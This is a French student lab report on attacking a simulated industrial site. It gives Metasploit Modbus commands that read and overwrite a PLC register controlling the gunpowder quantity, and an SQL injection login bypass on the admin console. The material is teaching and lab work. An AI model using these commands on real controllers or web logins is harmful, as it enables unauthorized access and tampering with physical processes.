# Rapport de vulnérabilité ICS Auteurs : JANVIER Luc & DUPUY Fabien --- ## 1) Analyse des échanges réseaux En bon spécialiste organisé et prévoyant, vous avez installé plusieurs outils utiles pour préparer l’attaque du site industriel. Commencez par analyser les échanges des deux machines à l’aide de l’outil Wireshark. **1) Sur quel port communiquent les deux machines ?** Les deux machines communiquent sur le port 502 ![](https://i.imgur.com/pUUamqI.png) **2) A l’aide de quel protocole ?** Ils communiquent à l'iade du protocole Modbus TCP ![](https://i.imgur.com/00YhBMn.png) Sommairement, un automate industriel est un ensemble d’emplacements mémoires, appelés registres, dans lesquels le programme principal va lire et écrire des valeurs propres à l’automate (e.g. des mesures remontées par un capteur). **3) Combien de registres identifiez-vous ?** On peut identifier 17 registres différents : ![](https://i.imgur.com/rvP8bDD.png) ## 2) Prise de contrôle de l’automate **1) Pouvez-vous identifier le rôle de chaque registre ?** :warning: Les registres ont été identifiés durant le cours :warning: ## 3) Attaque directe sur l’automate ### Phase de reconnaissance Metasploit nous permet dans un premier temps de récupérer les informations stockés dans les registres. Pour cela nous utilisons différentes commmande : ```bash= > use auxiliary/scanner/scada/modbusclient (module msfconsole à utiliser) > set RHOST 192.168.2.8 (IP cible) > set action READ_REGISTERS (Action de lire le registre à l'adresse 10) > run (lancer l'attaque) ``` Puis nous obtenons le résultat suivant : ![](https://i.imgur.com/YDqU2QC.png) Ce résultat de 50 fait référence au nombre de poudre que donne l'usine dans un obus : ![](https://i.imgur.com/Em6qmIm.png) Maintenant nous allons essayer de changer cette valeur grâce au bouton More dont on connait le registre : 11 ### Phase d'attaque A présent nous allons utiliser le module afin d'écrire dans le registre 11 qui permet d'augmenter de 1 la valeur : "Amount of gunpower" Avec les commande suivante : ```bash > set action WRITE_REGISTER (action d'écrire dans le registre) > set DATA_ADDRESS 11 (adresse du register 11) > set DATA 1 (la valeur à ajouter ici 1) > run (lancement de l'attaque) ``` Voilà le résultat : ![](https://i.imgur.com/CMHMHmq.png) La valeur "1" a bien été ajouté au registre 11, du côté de l'usine, nous obtenons bien le passge de 50 à 51 : ![](https://i.imgur.com/ILBDlzL.png) ## 4) Attaque indirecte via l’interface d’administration **1) Quelle vulnérabilité avez-vous découvert ? Comment l’avez-vous exploitée ?** Nous avons tenté une injection SQL de type : ``` > ' OR 1=1 LIMIT 1 OFFSET 1-- ``` ![](https://i.imgur.com/xKDgUU6.png) Par conséquent, nous remarquons que nous avons désormais accès au dashboard de la console web pour utilisateur "Grégoire". ![](https://i.imgur.com/PWC2BJf.png)